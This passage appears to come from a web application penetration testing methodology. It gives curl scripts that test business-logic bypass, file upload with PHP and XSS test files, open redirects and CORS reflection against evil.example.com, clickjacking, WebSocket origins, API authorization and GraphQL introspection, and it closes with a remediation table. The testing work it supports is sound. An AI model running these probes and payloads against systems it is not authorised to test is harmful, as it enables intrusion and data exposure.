for step in /checkout/payment /checkout/confirm /checkout/complete /order/place; do
code=$(curl -sS --max-time 10 "https://${TARGET}${step}" \
-H 'Cookie: session=VALID_SESSION' \
-o /dev/null -w '%{http_code}\n' 2>/dev/null)
echo "$step: $code"
sleep 1
done
# Test accepted file types
echo '<?php phpinfo(); ?>' > /tmp/test.php
echo '<script>alert(1)</script>' > /tmp/test.html
echo '<svg/onload=alert(1)>' > /tmp/test.svg
for file in /tmp/test.php /tmp/test.html /tmp/test.svg; do
code=$(curl -sS --max-time 10 -X POST "https://${TARGET}/upload" \
-F "file=@${file}" -o /dev/null -w '%{http_code}\n' 2>/dev/null)
echo "$(basename $file): $code"
sleep 1
done
Pitfalls: File upload tests are state-changing. Only test on scope-approved endpoints with inert content. Remove uploaded files afterward when possible.
Verification: Uploaded file is accessible and executes (PHP, JSP) or renders (HTML, SVG) when requested through its URL.
Use browser DevTools to trace data flow from source (URL, postMessage, localStorage, document.cookie) to sink (innerHTML, document.write, eval, location). Check for missing sanitization at each sink.
# Test URL parameters that may trigger client-side redirect
for param in redirect url next return_to goto target callback; do
curl -sS --max-time 10 \
"https://${TARGET}/login?${param}=https://evil.example.com" \
-o /dev/null -w '%{redirect_url}\n' 2>/dev/null
sleep 1
done
Injected CSS can exfiltrate data character-by-character via attribute
selectors and background-image URLs. Test inputs that appear in style
attributes or <style> blocks.
# Test origin reflection
curl -sS -D - --max-time 10 "https://${TARGET}/api/me" \
-H 'Origin: https://evil.example.com' -o /dev/null 2>&1 \
| grep -i 'access-control'
# Test null origin
curl -sS -D - --max-time 10 "https://${TARGET}/api/me" \
-H 'Origin: null' -o /dev/null 2>&1 \
| grep -i 'access-control'
# Test subdomain bypass
curl -sS -D - --max-time 10 "https://${TARGET}/api/me" \
-H 'Origin: https://evil.${TARGET}' -o /dev/null 2>&1 \
| grep -i 'access-control'
Verification: ACAO reflects the attacker origin AND ACAC is true AND the endpoint returns user-specific data (not public information).
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
| grep -iE 'x-frame-options|content-security-policy.*frame-ancestors'
Verification: Missing X-Frame-Options or CSP frame-ancestors on a page with sensitive actions (login, settings, payment).
# Check Origin validation on WebSocket upgrade
curl -sS -D - --max-time 10 \
-H 'Connection: Upgrade' -H 'Upgrade: websocket' \
-H 'Origin: https://evil.example.com' \
-H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
-H 'Sec-WebSocket-Version: 13' \
"https://${TARGET}/ws" -o /dev/null 2>&1
Inspect localStorage, sessionStorage, IndexedDB, and cookies for sensitive data: tokens, API keys, PII, internal hostnames, feature flags that expose unreleased functionality.
# Discover API documentation
for path in /openapi.json /swagger.json /swagger/v1/swagger.json \
/api-docs /api/swagger /api/v1/openapi.json /graphql \
/api/schema /redoc /docs /playground; do
code=$(curl -sS --max-time 10 "https://${TARGET}${path}" \
-o /dev/null -w '%{http_code}\n' 2>/dev/null)
[ "$code" != "404" ] && echo "$path: $code"
sleep 1
done
Verification: OpenAPI/Swagger document returns valid JSON with operations, parameters, and authentication requirements.
See Phase 5.4 (IDOR). Test every object endpoint with two identities.
For each API endpoint, compare the response fields between:
# Full response (as authenticated user)
curl -sS --max-time 10 "https://${TARGET}/api/users/me" \
-H 'Authorization: Bearer USER_TOKEN' 2>/dev/null | python3 -m json.tool
# Does the response include password hashes, internal IDs, admin flags,
# role definitions, or other fields not needed by the client?
# Try administrative API endpoints as a regular user
for endpoint in /api/admin /api/users /api/config /api/logs /api/health \
/api/metrics /api/system /api/internal; do
code=$(curl -sS --max-time 10 "https://${TARGET}${endpoint}" \
-H 'Authorization: Bearer REGULAR_USER_TOKEN' \
-o /dev/null -w '%{http_code}\n' 2>/dev/null)
echo "$endpoint: $code"
sleep 1
done
# Introspection query
curl -sS --max-time 10 -X POST "https://${TARGET}/graphql" \
-H 'Content-Type: application/json' \
-d '{"query":"{__schema{types{name,fields{name}}}}"}' 2>/dev/null
# Check if GET is allowed (query batching / CSRF risk)
curl -sS --max-time 10 \
"https://${TARGET}/graphql?query=%7B__typename%7D" \
-o /dev/null -w '%{http_code}\n' 2>/dev/null
# Field suggestion (information leak)
curl -sS --max-time 10 -X POST "https://${TARGET}/graphql" \
-H 'Content-Type: application/json' \
-d '{"query":"{user(id:1){namee}}"}' 2>/dev/null
For every reported finding, answer:
Run the final quality gate:
[ ] reproduction and controls work as documented
[ ] impact matches evidence; untested steps labeled
[ ] credentials and PII removed
[ ] remediation addresses the failed security control
| Category | Common fixes |
|---|---|
| INFO-* | Remove verbose headers, restrict metafiles, review page content |
| CONF-* | Disable unused methods, harden headers, restrict admin panels, remove backup files |
| IDNT-* | Uniform error messages, CAPTCHA on registration, strong password policy |
| ATHN-* | MFA, account lockout, secure password reset tokens, credential encryption |
| ATHZ-* | Server-side ownership checks, deny-by-default, role verification per request |
| SESS-* | Secure/HttpOnly/SameSite cookies, session regeneration, server-side invalidation |
| INPV-* | Parameterized queries, input validation, output encoding, CSP, sanitization |
| ERRH-* | Custom error pages, no stack traces in production, generic user-facing messages |
| CRYP-* | TLS 1.2+, strong ciphers, HSTS, forward secrecy, no hardcoded keys |
| BUSL-* | Server-side validation, workflow state enforcement, idempotency keys |
| CLNT-* | Strict CSP, frame-ancestors, CORS restrictions, DOM sanitization |
| APIT-* | Per-object authorization, field-level access control, disable introspection |